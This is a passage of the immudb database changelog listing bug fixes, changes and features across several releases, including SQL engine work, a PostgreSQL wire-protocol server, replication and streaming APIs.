**pkg/database:** single-store databases - **pkg/database:** support the case where database tx is not the initial one due to migration - **pkg/database:** no wait for indexing during tx replication - **pkg/database:** sql operations after catalog is created - **pkg/database:** method to retrieve row cursor based on a sql query stament - **pkg/database:** re-construct sql engine once catalog is ready - **pkg/database:** use fixed database name - **pkg/database:** sql catalog per database. migration from shared catalog store when required - **pkg/database:** sql catalog reloading on replica - **pkg/database:** wait for sql engine initialization before closing - **pkg/database:** log warning about WIP feature when using replication capabilities - **pkg/database:** replace fixing naming with current database - **pkg/database:** expose catalog loading operation - **pkg/database:** catalog reloading by replicas - **pkg/database:** gracefully stop by cancelling sql initialization - **pkg/database:** internal method renaming - **pkg/database:** log when a database is sucessfully opened - **pkg/database:** add IsReplica method - **pkg/database:** parameter inference for parsed statements - **pkg/errors:** fix user operations error codes with pgsql official ones, increase coverage - **pkg/errors:** immuerrors use an internal map to determine code from the message - **pkg/errors:** add more error codes and add Cod prefix to codes var names - **pkg/errors:** add comments - **pkg/pgsql:** increase server coverage - **pkg/pgsql/server:** handle empty statements - **pkg/pgsql/server:** increase multi inserts tests number in simple and extended query - **pkg/pgsql/server:** hardened INTEGER parameters conversion - **pkg/pgsql/server:** some polishments in the state machine - **pkg/pgsql/server:** simplify query machine - **pkg/pgsql/server:** increase code coverage - **pkg/pgsql/server:** protect parameters description message from int16 overflown - **pkg/pgsql/server:** add max parameters value size guard and move error package in a higher level to avoid cycle deps - **pkg/pgsql/server:** add bind message negative value size guards - **pkg/pgsql/server:** handle positional parameters - **pkg/pgsql/server:** add a guard to check max message size and handle default case in parsing format codes in bind messages - **pkg/pgsql/server/fmessages:** uniform malformed bind messages - **pkg/server:** disable user mgmt operations in maintenance mode - **pkg/server:** systemdb renaming - **pkg/server:** move userdata lock in the inner method getLoggedInUserDataFromUsername - **pkg/server:** remove methods moved to user file - **pkg/server:** fix typo in error message - **pkg/server:** remove duplicated property - **pkg/server:** minor adjustments after rebasing from master branch - **pkg/server:** minor updates after rebasing - **pkg/stream:** use io.Reader interface - **pkg/stream:** use wrapped errors - **pkg/stream:** inject immu errors - **pkg/stream:** fix namings on stream api objects ### Features - immuclient running as auditor - replace "prometheus-port" and "prometheus-host" CLI flags with "audit-monitoring-host" and "audit-monitoring-port" (int) and start a single HTTP server which exposes all the needed endpoints (GET /metrics, /initz, /readyz, /livez and /version) - add /healthz and /version endpoints for immudb and immuclient auditor - add immudb error package - **appendable:** Add remote s3 backend - **cmd/immuadmin:** update database command - **cmd/immuadmin:** upgrade database creation with settings - **cmd/immuadmin:** add flag to create database as a replica - **cmd/immuclient:** upgrade database creation with settings - **embedded/sql:** adding method to infer typed parameters from sql statements - **embedded/sql:** catalog dumping - **embedded/sql:** towards leveraging readers for type inference - **embedded/sql:** support for named positional parameters - **embedded/sql:** support for unnamed parameters - **embedded/store:** passive waiting for transaction commit - **embedded/store:** WIP replicatedCommit - **embedded/store:** tx export and commit replicated - **pkg/api:** endpoints for exporting and replicating txs - **pkg/api:** enhanced createDatabase endpoint to specify database replication - **pkg/api:** new endpoint to update database settings - **pkg/client:** replica creation and replication API - **pkg/client:** implements update database settings operation - **pkg/client:** deprecate CleanIndex operation - **pkg/database:** db as replica and replication operations - **pkg/database:** parameters type inference exposed in database package - **pkg/database:** implement passive wait for committed tx - **pkg/database:** suppport runtime replication settings changes - **pkg/error:** add improved error handling - **pkg/pgsql/server:** add extended query messages and inner logic - **pkg/server:** enable simultaneous replication of systemdb and defaultdb - **pkg/server:** stream of committed txs - **pkg/server:** initial handling of database replication settings - **pkg/server:** replicas and replication endpoints - **pkg/server:** implements update database settings endpoint - **pkg/server:** leverage maintenance mode to recover systemdb and defaultdb databases - **pkg/stream:** readFully method to read complete payload transmitted into chunks ## [v1.0.1] - 2021-06-07 ### Bug Fixes - go mod tidy/vendor with statik module ([#796](https://github.com/vchain-us/immudb/issues/796)) - **cmd/immuclient:** remove warnings on sql commands in interactive mode - **cmd/immuclient:** improve immuclient tx and safetx error message - **embedded/sql:** interprete binary prefix if followed by a quote - **pkg/server:** always create system db (even when auth is off) ### Changes - enhance Makefile so to automatically download latest webconsole if not already present - README/doc updates ([#791](https://github.com/vchain-us/immudb/issues/791)) - enable webconsole in docker image - remove mtls evironments var from dockerfile - **embedded/store:** apply synced settings to indexing data - **embedded/store:** sync values once all entries are written - **pkg/database:** retry database selection after registration - **pkg/database:** auto-registration when not present in the catalog ### Features - **embedded/sql:** support NULL syntax - **pkg/database:** enhace table description by adding nullable constraint - **webconsole:** default web console page ([#786](https://github.com/vchain-us/immudb/issues/786)) ## [v1.0.0] - 2021-05-21 ### Bug Fixes - tlsConfig is always non-nil - make prequisites fixes introduced in [#726](https://github.com/vchain-us/immudb/issues/726) ([#732](https://github.com/vchain-us/immudb/issues/732)) - fix windows installer service and missing flags - **cmd/immuclient/immuclienttest:** fix options injection in client test helper ([#749](https://github.com/vchain-us/immudb/issues/749)) - **embedded:** ensure readers get properly closed - **embedded/sql:** close reader after loading catalog - **embedded/sql:** add missing error handling - **embedded/sql:** fix selector aliasing - **embedded/sql:** prevent side effects in conditional clauses - **embedded/store:** fix issue when resuming indexing - **embedded/store:** notified latest committed tx when opening store - **embedded/store:** fix indexing data race - **pkg/client:** row verification with nullable values - **pkg/client/cache:** fix lock file cache issue on windows - **pkg/client/cache:** clean state file when re-writing old stetes - **pkg/database:** unwrap parameter before calling sqlexec - **pkg/database:** use SQLPrefix when reopening database - **pkg/pgsql/server:** handle data_row message with text format - **pkg/server:** complete error handling - **pkg/server:** disable pgsql server by default and fix previous server tests - **pkg/sql:** columns resolved with aliases - **pkg/sql:** resolve shift/reduce conflict in SELECT stmt ### Changes - blank line needed after tag or interpreted as comment - bundle webconsole inside dist binaries - fix rebase leftovers - fix acronym uppercase - reword wire compatibility - increase coverage and minor fix - make roadmap about pgsql wire more explicit ([#723](https://github.com/vchain-us/immudb/issues/723)) - expose missing methods to REST ([#725](https://github.com/vchain-us/immudb/issues/725)) - inject immudb user authentication - fix makefile leftovers - improved make dist script - move concrete class dblist to database package - revert 3114f927adf4a9b62c4754d42da88173907a3a9f in order to allow insecure connection on grpc server - dblist interface is moved to database package and extended - add pgsql related flags - **cmd/immuclient:** query result rendering - **cmd/immuclient:** add describe, list, exec and query commands to immuclient shell - **cmd/immuclient:** render raw values - **cmd/immudb:** add debug info env var details - **cmd/immudb/command:** enabled pgsql server only in command package - **cmd/immudb/command:** restore missing pgsql cmd flag - **cmd/immudb/command:** remove parsing path option in unix - **cmd/immudb/command:** handle tls configuration errors - **embedded/cache:** thread-safe lru-cache - **embedded/sql:** expose functionality needed for row verification - **embedded/sql:** minor refactoring to expose functionality needed for row verification - **embedded/sql:** case insensitive identifiers - **embedded/sql:** case insensitive functions - **embedded/sql:** resolve query with current snapshot if readers are still open - **embedded/sql:** set 'x' as blob prefix - **embedded/sql:** move sql engine under embedded package - **embedded/sql:** store non-null values and only col ids on encoded rows - **embedded/sql:** safer support for selected database - **embedded/sql:** validate table is empty before index creation - **embedded/sql:** skip tabs - **embedded/sql:** keep one snapshot open and close when releasing - **embedded/sql:** improved nullables - **embedded/store:** pausable indexer - **embedded/store:** commitWith callback using KeyIndex interface - **embedded/store:** index info to return latest indexed tx - **embedded/store:** use indexer state to terminate indexing goroutine - **embedded/store:** log during compaction - **embedded/tbree:** postpone reader initialization until first read - **embedded/tbtree:** remove dots denoting progress when flushing is not needed - **embedded/tbtree:** index compaction if there is not opened snapshot, open snapshot if compaction is not in already in progress - **embedded/tbtree:** make snapshot thread-safe - **embedded/watchers:** cancellable wait - **pkg/api:** render varchar as raw string value - **pkg/api:** include data needed for row verification - **pkg/api:** render varchar as quoted string - **pkg/api:** render varchar as quoted strings - **pkg/api:** sql api spec - **pkg/api/schema:** Handle tools via modules ([#726](https://github.com/vchain-us/immudb/issues/726)) - **pkg/auth:** add SQL-related permissions - **pkg/auth:** perm spec for row verification endpoint - **pkg/client:** remove deprecated operations - **pkg/client:** use to fetch current database name - **pkg/client:** auto convert numeric values to uint64 - **pkg/client:** improved sql API - **pkg/client/cache:** release lock only if locked file is present, and wait for unlock when already present - **pkg/database:** set implicit database using `UseDatabase` method - **pkg/database:** typed-value proto conversion - **pkg/database:** towards prepared sql query support - **pkg/database:** row verification against kv-entries - **pkg/database:** improved parameters support - **pkg/database:** return mapped row values - **pkg/database:** upgrade ExecAll to use KeyIndex interface - **pkg/database:** add missing copy - **pkg/database:** support index compaction with sql engine in place - **pkg/database:** support multi-selected columns - **pkg/database:** use store-level snapshots - **pkg/database:** upgrade wait for indexing api - **pkg/database:** ensure rowReader get closed upon completion - **pkg/database:** use MaxKeyScanLimit to limit query results - **pkg/database:** support for nullable values - **pkg/database:** close sql engine when db gets closed - **pkg/database:** make use of UseDatabase operation - **pkg/embedded:** introduce Snapshot at Store level - **pkg/pgsql:** handle empty response and command complete message - **pkg/pgsql:** add pgsql server wire protocol stub - **pkg/pgsql:** handle parameter status and terminate messages - **pkg/pgsql:** fix filename format - **pkg/pgsql:** bind immudb sql engine - **pkg/pgsql:** use options flag to determine if pgsql server need to be launched - **pkg/pgsql/client:** add jackc/pgx pgsql client for testing purpose - **pkg/pgsql/server:** limit number of total connections and do not stop server in case of errors - **pkg/pgsql/server:** handle an ssl connection request if no certificate is present on server - **pkg/pgsql/server:** protect simple query flow with a mutex - **pkg/pgsql/server:** enforce reserved statements checks - **pkg/pgsql/server:** handle version statement - **pkg/pgsql/server:** default error in simplequery loop has error severity - **pkg/pgsql/server:** add missing copyright - **pkg/pgsql/server:** remove host parameter - **pkg/pgsql/server:** move sysdb in session constructor - **pkg/pgsql/server:** add debug logging messages, split session handling in multiple files - **pkg/pgsql/server:** improve error handling when client message is not recognized - **pkg/pgsql/server:** fix connection upgrade pgsql protocol messages - **pkg/pgsql/server:** minor fixes and leftovers - **pkg/server:** use systemdb as a shared catalog store - **pkg/server:** fix db mock - **pkg/server:** remove unused options - **pkg/server:** remove tls configuration in server - **pkg/server:** inject sqlserver in main immudb server - **pkg/server:** renamed server reference - **pkg/server:** load systemdb before any other db - **pkg/sql:** alias overriding datasource name - **pkg/sql:** add comment about nested joins - **pkg/sql:** refactored AggregatedValue and TypedValue interfaces - **pkg/sql:** unify augmented and grouped row readers - **pkg/sql:** support for SUM aggregations - **pkg/sql:** row reader to support GROUP BY behaviour - **pkg/sql:** grammar adjustments to support aggregated columns - **pkg/sql:** swap LIMIT and ORDER BY parse ordering - **pkg/sql:** many internal adjustments related to name binding - **pkg/sql:** ensure use snapshot is on the range of committed txs - **pkg/sql:** joint column with explicit table reference - **pkg/sql:** upgrade to new store commit api - **pkg/sql:** support multiple spacing between statements - **pkg/sql:** column descriptors in row readers - **pkg/sql:** improve error handling - **pkg/sql:** return ErrNoMoreRows when reading - **pkg/sql:** towards catalog encapsulation - **pkg/sql:** improved null value support - **pkg/sql:** order-preserving result set - **pkg/sql:** using new KeyReaderSpec - **pkg/sql:** joins limited to INNER type and equality comparison against ref table PK - **pkg/sql:** row reader used to close the snapshot once reading is completed - **pkg/sql:** mapping using ids, ordering and renaming support - **pkg/sql:** composite readers - **pkg/sql:** wip multiple readers - **pkg/sql:** catch store indexing errors - **pkg/sql:** add generated sql parser - **pkg/sql:** make row values externally accessible - **pkg/sql:** remove offset param - **pkg/sql:** value-less indexed entries - **pkg/sql:** encoded value with pk entry - **pkg/sql:** remove alter column stmt - **pkg/sql:** inmem catalog with table support - **pkg/sql:** inmem catalog - **pkg/sql:** catalog construct - **pkg/sql:** primary key supported type validation - **pkg/sql:** use standardized transaction closures - **pkg/sql:** col selector with resolved datasource - **pkg/sql:** case insensitive reserved words - **pkg/sql:** use token IDENTIFIER - **tools/stream:** upgrade stream tools dependencies ### Code Refactoring - **pkg/server:** tls configuration is moved in command package from server ### Features - display version at startup ([#775](https://github.com/vchain-us/immudb/issues/775)) - enhance database size and number of entries metrics to support multiple databases add CORS middleware to metrics HTTP endpoints ([#756](https://github.com/vchain-us/immudb/issues/756)) - CREATE TABLE IF NOT EXISTS ([#738](https://github.com/vchain-us/immudb/issues/738)) - **cmd/immuclient:** list and describe tables - **cmd/immuclient:** use 'tables' to display the list of tables within selected database - **embedded/sql:** use snapshot as state method - **embedded/sql:** arithmetic expressions within where clause - **embedded/sql:** 'NOT NULL' constraint - **embedded/sql:** special case when all selectors are aggregations and there is no matching rows - **embedded/sql:** enhanced sql parser to support multi-lined statements - **embedded/sql:** INSERT INTO statement - **embedded/sql:** LIKE operator support - **embedded/store:** uniqueness constraint and de-coupled indexer - **embedded/store:** operation - **embedded/tools:** initial SQL stress tool ([#760](https://github.com/vchain-us/immudb/issues/760)) - **pkg/api:** sql endpoints for row verification - **pkg/api:** noWait mode for sql statements - **pkg/client:** row verification - **pkg/client:** towards client-side sql support - **pkg/database:** towards sql support - **pkg/database:** towards integrated sql engine. handling database creation at server level - **pkg/database:** list and describe tables - **pkg/database:** row verification endpoint - **pkg/pgsql:** add tls support - **pkg/pgsql/server:** dblist is injected in pgsql server - **pkg/pgsql/server:** setup pgsqk error handling - **pkg/pgsql/server:** handle nil values - **pkg/server:** expose endpoint - **pkg/server:** row verification endpoint - **pkg/server:** initial integration of sql engine - **pkg/sql:** column selector alias support - **pkg/sql:** jointRowReader towards supporting joins - **pkg/sql:** towards supporting COUNT, SUM, MIN, MAX and AVG - **pkg/sql:** towards aggregated values support - **pkg/sql:** towards supporting filtered aggregations - **pkg/sql:** towards group by and aggregations support - **pkg/sql:** noWait for indexing mode - **pkg/sql:** improved nullable support - **pkg/sql:** towards GROUP BY support - **pkg/sql:** implements NOW() function - **pkg/sql:** list and describe tables - **pkg/sql:** LIMIT clause to determine max number of returned rows - **pkg/sql:** queries over older data - **pkg/sql:** parameters support - **pkg/sql:** initial parameters support - **pkg/sql:** towards parameter support - **pkg/sql:** support for SELECT * FROM queries - **pkg/sql:** row projection - **pkg/sql:** towards projected rows - **pkg/sql:** auto-commit multi-statement script - **pkg/sql:** subquery aliases - **pkg/sql:** support for WHERE clause - **pkg/sql:** towards row filtering with conditional readers - **pkg/sql:** support for boolean values - **pkg/sql:** index reloading - **pkg/sql:** catalog reloading - **pkg/sql:** ASC/DESC row sorting by any indexed column - **pkg/sql:** implements CREATE INDEX stmt - **pkg/sql:** support of foreign keys of any pk type - **pkg/sql:** multiple joins support - **pkg/sql:** col selector binding - **pkg/sql:** aggregations without row grouping - **pkg/sql:** seekable, ordered and filtered table scan - **pkg/sql:** ordering in descending mode - **pkg/sql:** towards ordering row scans - **pkg/sql:** towards query resolution with multiple datasources - **pkg/sql:** towards query processing - **pkg/sql:** upsert processing - **pkg/sql:** towards insert into statement processing - **pkg/sql:** table creation with primary key - **pkg/sql:** primary key spec - **pkg/sql:** initial work on sql engine - **pkg/sql:** multi-line scripts - **pkg/sql:** snapshot support - **pkg/sql:** support for comments - **pkg/sql:** support for EXISTS in subquery - **pkg/sql:** support for INNER, LEFT and RIGHT joins - **pkg/sql:** support for parameters - **pkg/sql:** support for system values e.g. TIME - **pkg/sql:** aggregated functions - **pkg/sql:** use colSelector instead of identifiers - **pkg/sql:** expressions parsing - **pkg/sql:** multi-db queries - **pkg/sql:** multi-row insertion - **pkg/sql:** initial support for SELECT statement - **pkg/sql:** transactional support - **pkg/sql:** support for insertions - **pkg/sql:** support table modifications - **pkg/sql:** support index creation - **pkg/sql:** include column specs - **pkg/sql:** partial grammar with multiple statements - **pkg/sql:** initial commit for sql support ## [cnlc-2.2] - 2021-04-28 ### Bug Fixes - update Discord invite link - readme typo and mascot placement ([#693](https://github.com/vchain-us/immudb/issues/693)) - **embedded/store:** ensure done message is received - **pkg/client:** delete token file on logout only if the file exists ### Changes - github workflow to run stress_tool ([#714](https://github.com/vchain-us/immudb/issues/714)) - README SDK description and links ([#717](https://github.com/vchain-us/immudb/issues/717)) - fix immugw support - Add roadmap - Add benchmark to README (based on 0.9.x) ([#706](https://github.com/vchain-us/immudb/issues/706)) - remove grpc term from token expiration description - **embedded/store:** use specified sync mode also for the incremental hash tree - **embedded/store:** check latest indexed tx is not greater than latest committed one - **embedded/store:** defer lock releasing - **pkg/client/clienttest:** add VerifiedGetAt mock method - **pkg/database:** use newly exposed KeyReaderSpec ### Features - add token expiration time flag - **embedded/store:** readAsBefore and reset reader - **pkg/sql:** readAsBefore operation ## [v0.9.2] - 2021-04-08 ### Bug Fixes - include AtTx in StreamZScan response - password reader 'inappropriate ioctl for device' from stdin ([#658](https://github.com/vchain-us/immudb/issues/658)) - fix StreamVerifiedSet and Get and add an (integration) test for them - fix inclusion proofs in StreamVerifiedSet and Get - **embedded:** use mutex to sync ops at tx lru-cache - **embedded:** fix data races - **embedded/store:** ensure waitees get notified when store is restarted - **embedded/store:** remove checking for closed store when fetching any vlog - **embedded/store:** continue indexing once index is replaced with compacted index - **embedded/store:** set delay with duration in ms - **embedded/store:** fix indexing sync and error retrieval - **embedded/store:** ensure watchers get notified when indexing is up-to-date - **embedded/store:** sync ReadTx operation - **embedded/tbtree:** set lastSnapshot once flushed is completed - **embedded/tbtree:** insertion delay while compacting not affecting compaction - **embedded/tbtree:** release lock when compaction thld was not reached - **pkg/auth:** add missing stream write methods to permissions - **pkg/client:** fix minor leftover - **pkg/client:** fix security issue: if client local state became corrupted an error is returned - **pkg/client:** ensure dual proof verification is made when there is a previously verified state - **pkg/database:** wrap seekKey with prefix only when seekKey is non-empty - **pkg/server:** use latest snapshot when listing users ### Changes - refactor code quality issues - improve serverside stream error handling - remove fake proveSinceTxBs key send in streamVerifiableSet - polish streams methods and add comments - renaming stream methods - updating copyright - renaming stream methods, add stubs and stream service factory - in server store creation max value entry is fixed to 32Mb - set stream supports multiple key values - mocked server uses the inner immudb grpc server and can be gracefully stopped - fixed minimum chunk size at 4096 bytes - add max tx values length guard and remove code duplication - fix binary notation - move stream service to a proper package - add video streamer command - increase stream coverage and add a guard if key is present on a stream but no value is found - **embedded:** fix some typos with comments - **embedded:** remove unused cbuffer package - **embedded:** log indexing notifications - **embedded:** descriptive logs on indexing and already closed errors - **embedded:** add logs into relevant operations - **embedded:** add logger - **embedded:** compaction and snapshot handling - **embedded/appendable:** thread-safe multi-appendable - **embedded/appendable:** sync before copying appendable content - **embedded/appendable:** multi-appendable fine-grained locking - **embedded/store:** remove conditional locking before dumping index - **embedded/store:** general improvements on snapshot management - **embedded/store:** leverage fine-grained locking when reading tx data - **embedded/store:** stop indexing while commiting with callback - **embedded/store:** use buffered channel instead of a circular buffer - **embedded/store:** remove duplicated logging - **embedded/store:** set max file size to 2Gb ([#649](https://github.com/vchain-us/immudb/issues/649)) - **embedded/store:** lock-less readTx - **embedded/store:** set a limit on indexing iteration - **embedded/store:** log number of transactions yet to be indexed - **embedded/tbtree:** optimize seek position - **embedded/tbtree:** revert seek key setting - **embedded/tbtree:** optimize seek position - **embedded/tbtree:** terminate reader if prefix won't match any more - **embedded/tbtree:** sync before dumping - **embedded/tbtree:** sync key-history log during compaction - **embedded/watchers:** broadcasting optimisation - **embedded/watchers:** minor renaming - **embedded/watchers:** accept non-continuous notification - **pkg/client:** add stream service factory on client and increase stream coverage - **pkg/client:** add GetKeyValuesFromFiles helper method - **pkg/client:** add a guard to check for min chunk size - **pkg/client:** remove local files tests - **pkg/client:** maps server error on client package - **pkg/client:** integration test is skipped if immudb server is not present - **pkg/database:** return error while waiting for index to be up to date - **pkg/database:** ensure scan runs over fully up-to-date snapshot - **pkg/database:** return error while waiting for index to be up to date - **pkg/database:** use in-mem current snapshot in execAll operation - **pkg/database:** illegal state guard is added to verifiable get and getTx methods - **pkg/database:** leverage lightweight waiting features of embedded store - **pkg/server:** add a guard to check for min chunk size - **pkg/server:** add server error mapper interceptor - **pkg/server:** add small delay for indexing to be completed - **pkg/server:** max recv msg size is set to 32M - **pkg/server:** revert quit chan exposure - **pkg/server:** exposes Quit chan - **pkg/stream:** add more corner cases guards - **pkg/stream:** add some comments to mesasge receiver - **pkg/stream:** remove duplicated code - **pkg/stream:** renamed stream test package - **pkg/stream:** add a guard to detect ErrNotEnoughDataOnStream on client side - **pkg/stream:** remove bufio.reader when not needed - **pkg/stream:** remove bufio and add ventryreceiver unit test - **pkg/stream:** add ErrNotEnoughDataOnStream error and ImmuServiceReceiver_StreamMock - **pkg/stream/streamtest:** add dummy file generator - **tools:** fix copyright - **tools/stream:** get stream content directly from immudb - **tools/stream/benchmark:** add stream benchmark command - **tools/stream/benchmark/streamb:** add SinceTx value to getStream ### Code Refactoring - stream kvreceiver expose Next method to iterate over key values - stream receiver implements reader interface - use of explicit messages for stream request - **pkg/stream:** use ParseValue func in zreceiver and remove the redundant readSmallMsg func - **pkg/stream:** refactor receiver to increase simplicity ### Features - Remove unnecessary dependencies ([#665](https://github.com/vchain-us/immudb/issues/665)) - add support for user, password and database flags in immuclient ([#659](https://github.com/vchain-us/immudb/issues/659)) - increase default store max value length to 32MB - add client->server stream handler - refactors and implement server->client stream handler - Add StreamVerifiedSet and StreamVerifiedGet - add flusher to stream data to client - chunk size is passed as argument in client and server - add Stream Scan and client stream ServiceFactory - **embedded/store:** integrate watchers to support indexing synchronicity - **embedded/store:** configurable compaction threshold to set the min number of snapshots for a compaction to be done - **embedded/store:** expose insertion delay while compacting - **embedded/store:** tx header cache to speed up indexing - **embedded/tbtree:** automatically set seekKey based on prefixKey when it's not set - **embedded/tbtree:** configurable insertion delay while compaction is in progress - **embedded/watchers:** lightweight watching center - **embedded/watchers:** fetchable current state - **pkg/client:** handle illegal state error - **pkg/database:** non-blocking index compaction - **pkg/database:** non-blocking, no history compaction - **pkg/database:** default scan parameters using up-to-date snapshot - **pkg/server:** add signature on stream verifiable methods and tests - **pkg/stream:** add exec all stream ## [v0.9.1] - 2021-02-08 ### Bug Fixes - **cmd/sservice:** fix services management and add permissions guard - **cmd/sservice:** fix group creation linux cross command - **embedded/history:** read history log file to set initial offset - **embedded/store:** copy key inside TxEntry constructor - **embedded/store:** mutex on txlog - **embedded/store:** continued indexing - **embedded/store:** fix indexing sync ([#621](https://github.com/vchain-us/immudb/issues/621)) - **embedded/tbtree:** determine entry by provided seekKey - **embedded/tbtree:** fix key history ordering ([#619](https://github.com/vchain-us/immudb/issues/619)) - **embedded/tbtree:** prevNode nil comparisson - **embedded/tbtree:** use minkey for desc scan - **pkg/client:** fix verifiedGetAt - **pkg/client/auditor:** hide auditor password in logs - **pkg/client/cache:** return an error if no state is found - **pkg/database:** check key does not exists in latest state - **pkg/server:** set default settings within DefaultStoreOptions method ### Changes - update acknowledgments - **cmd/sservice:** minor fixes - **embeddded/tbtree:** reduce mem allocs - **embedded:** expose store opts - **embedded:** refactor TxEntry - **embedded/store:** adapt after History changes - **embedded/store:** move TxReader code to its own file - **embedded/store:** renamed reader as KeyReader - **embedded/store:** use conditional locking in indexing thread - **embedded/store:** minor KeyReader renaming - **embedded/store:** validates targetTx is consistent with proof len - **embedded/store:** sync access to commit and tx logs - **embedded/store/options.go:** increase DefaultMaxKeyLen - **embedded/tbtree:** offset map per branch - **embedded/tbtree:** return ErrOffsetOutOfRange if invalid offset was provided - **embedded/tbtree:** reduce mem consumption - **embedded/tbtree:** history log file - **embedded/tbtree:** configurable max key length - **embedded/tbtree:** change history file extension - **pkg:** unit testing index cleanup, use selected db - **pkg:** current db included in signed state - **pkg/api:** minor changes in TxScan message - **pkg/api:** history limit as int32 - **pkg/api:** include server uuid and db name into state message - **pkg/client:** validate returned entries from metadata - **pkg/client:** bound reference if atTx is provided in VerifiedSetReferenceAt - **pkg/client:** use indexing specified in GetRequest - **pkg/client:** strip prefix from returned keys in txById and verifiedTxById - **pkg/client:** add state service lock and unlock capabilities - **pkg/client:** set bound on SetReference and ZAdd - **pkg/database:** unsafe read tx inside CommitWith callback - **pkg/database:** catch NoMoreEntries error and return empty list on scan and zscan operations - **pkg/database:** return empty list if offset is out of range - **pkg/database:** initial implementation of ExecAll with CommitWith - **pkg/server:** naming conventions - **pkg/server:** server mock wrapping default server implementation - **pkg/server:** include uuid and db as result of verifiable operations - **pkg/server:** initialize mts options - **pkg/server:** expose store opts - **pkg/server:** use server wrapper to enable post processing of results - **pkg/server:** set default max value lenght to 1Mb - **pkg/server:** change server default options. Max key value to 10kb ### Features - **cmd/immuadmin:** db index cleanup - **embedded:** history with offset and limit, key updates counting - **embedded/appendable:** flush and seek to start before copying - **embedded/appendable:** implements Copy function - **embedded/appendable:** check no closed and flush before copying - **embedded/store:** commitWith callback receiving assigned txID - **embedded/store:** TxScan asc/desc order - **embedded/store:** index cleanup - **embedded/store:** allow increasing max value size after creation time - **embedded/tbtree:** full dump of current snapshot - **embedded/tbtree:** complete history implementation - **embedded/tbtree:** HistoryReader to iterate over key updates - **embedded/tbtree:** full dump using copy on history log - **pkg:** index cleanup service - **pkg/client:** add state file locker - **pkg/client:** add verifiedGetSince - **pkg/client:** implementation of TxScan operation - **pkg/database:** history with offset and limit - **pkg/database:** TxScan implementation - **pkg/database:** support for free and bound references - **pkg/database:** KeyRequest retrieves key at a specific tx or since a given tx - **pkg/server:** sign new state within verifiable operations - **pkg/server:** use exposed synced mode ## [v0.9.0] - 2021-01-07 ### Bug Fixes - remove badger metrics and fix stats command - **cmd/immuadmin/command:** fix immuadmin stats ([#592](https://github.com/vchain-us/immudb/issues/592)) - **pkg/database:** enable scan on fresh snapshot - **pkg/server:** shutdown handlers and metrics server are moved in start method ### Changes - removing audit-signature and add serverSigningPubKey - remove print tree method - restore inmemory_cache test - **cmd/immuadmin:** temporary disable stats functionality - **pkg/api:** upgrade rest endpoints - **pkg/client:** implement missing methods in immuclient mock - **pkg/server:** temporary remove proactive corruption checker ([#595](https://github.com/vchain-us/immudb/issues/595)) ### Features - add signature verification with a submitted public key ## [v0.9.0-RC2] - 2020-12-29 ### Bug Fixes - **cmd/immuadmin/command:** fix unit tests - **cmd/immuclient:** fix unit tests - **embedded/tbtree:** sync GetTs to prevent data races - **pkg/api:** change order of validations when checking state signature ### Changes - adapt coverage to the new server implementation - fix immuserver mock - **cmd/immuadmin:** disable stats and removed print tree command - **cmd/immuclient:** print verified label when executing safereference - **pkg/client:** update service mock to new API - **pkg/database:** add input validations during verifiable set - **pkg/database:** implements History using lock-based operation ### Code Refactoring - uniform server and client tests - improving buffconn server with splitting start method in initialization and start ### Features - **embedded/store:** implements lock-based History without requiring snapshot creation - **pkg/client:** update auditor implementation to new server API - **pkg/client:** implementation of client-side verifiedZAdd - **pkg/client:** implements VerifiedSetReference - **pkg/database:** implementation of verifiableZAdd - **pkg/database:** implementation of VerifiableSetReference ## [v0.9.0-RC1] - 2020-12-22 ### Bug Fixes - **cmd/immuclient:** print referenced key - **cmd/immuclient:** print referenced key - **embedded/store:** fix race condition - **embedded/store:** fix race condition - **embedded/store:** contemplate bad-formated proof - **embedded/tbtree:** fix issue when initialKey is greater than keys - **pkg/common:** fix leftover in index wrapper - **pkg/database:** add cyclic references validation during resolution - **pkg/database:** working scan and zscan without pagination - **pkg/database:** adjust execAll method - **pkg/database:** referenced key lookup when atTx is non-zero - **pkg/database:** use EncodeReference in ExecAllIOps - **pkg/database:** lookup for referenced key when atTx is non-zero - **pkg/databse:** encoding of reference and zadd ### Changes - proof proto definition - datatype conversion methods - remove badger and merkletree dependencies - inject store reader inside zscan - partial fix of scan test - new proto definitions - **api/schema:** removed consistency method - **cmd:** adjusted commandline tools - **cmd/immuclient:** add support for safe operations - **cmd/immuclient:** add verified operations - **database:** implements safeSet operation - **database:** implements ByIndex operation - **database:** implements safeByIndex operation - **database:** contemplates the case not previously verified tx - **database:** several fixes and unit testing adaptation - **embedded:** rename as SnapshotSince - **embedded/htree:** internal linear proof renaming - **embedded/htree:** minor changes in proof struct - **embedded/store:** add method to retrieve tx metadata - **embedded/store:** minor proof renaming - **embedded/store:** return txMetadata when tx on commit - **embedded/store:** return ErrTxNotFound when attemping to read non-existent tx - **embedded/store:** minor changes in proof struct - **embedded/store:** allow empty values and don't attempt to store in vlog - **embedded/store:** add tx constructor with entries - **embedded/store:** adjustments on store reader - **embedded/store:** change tx proof method signature - **embedded/store:** wrap keyNotFound index error - **embedded/store:** add snapshotAt and adjust based on it - **pkg:** rename to CurrentState - **pkg:** several minor changes - **pkg:** rename to ReferenceRequest - **pkg:** rename to sinceTx - **pkg/api:** add vLen property to TxEntry - **pkg/api:** new proof messages - **pkg/api:** several improvements on grpc api - **pkg/api:** remove digest data type - **pkg/api:** rename to Entry and ZEntry and embedded Reference - **pkg/api:** add copyright notice - **pkg/api:** new server proto definition - **pkg/auth:** adjust permissions based on new api - **pkg/client:** adjusted client providers - **pkg/client:** adjusted golang client - **pkg/client:** add safe method alises for backwards familiarity - **pkg/client:** minor renaming to improve readability - **pkg/database:** zscan order with tx after key - **pkg/database:** implements new DB api using embedded storage - **pkg/database:** add sinceTx to reference and make it handle key prefixes - **pkg/database:** remove ambiguity in references - **pkg/database:** minor adjustments - **pkg/database:** get from snapshot or directly from store - **pkg/database:** return functionality not yet implemented for VerifiableSetReference - **pkg/database:** wait for indexing on execAll - **pkg/database:** delay locking until indexing is done - **pkg/database:** mutex for reusable txs - **pkg/database:** fix get/set with prefix wrapping/unwrapping - **pkg/database:** fixed methods with prefix mgmt, including scan - **pkg/ring:** remove ring pkg - **pkg/server:** proof construction in safeget operation - **pkg/server:** disable proactive corruption checker - **pkg/server:** partial use of embedded storage - **pkg/server:** return number of tx as db size - **pkg/server:** getBatch operation - **pkg/server:** adjusted state signer - **pkg/server:** adjusted UUID handler - **pkg/server:** prevent logging request details - **pkg/server:** adapt implementation to new api - **pkg/server:** adapt to new database implementation - **pkg/server:** disable cc - **pkg/server:** remove in-memory option - **pkg/server:** implements history operation - **pkg/server:** comment unimplemented GetReference method - **pkg/store:** moved package - **pkg/tbree:** reader with 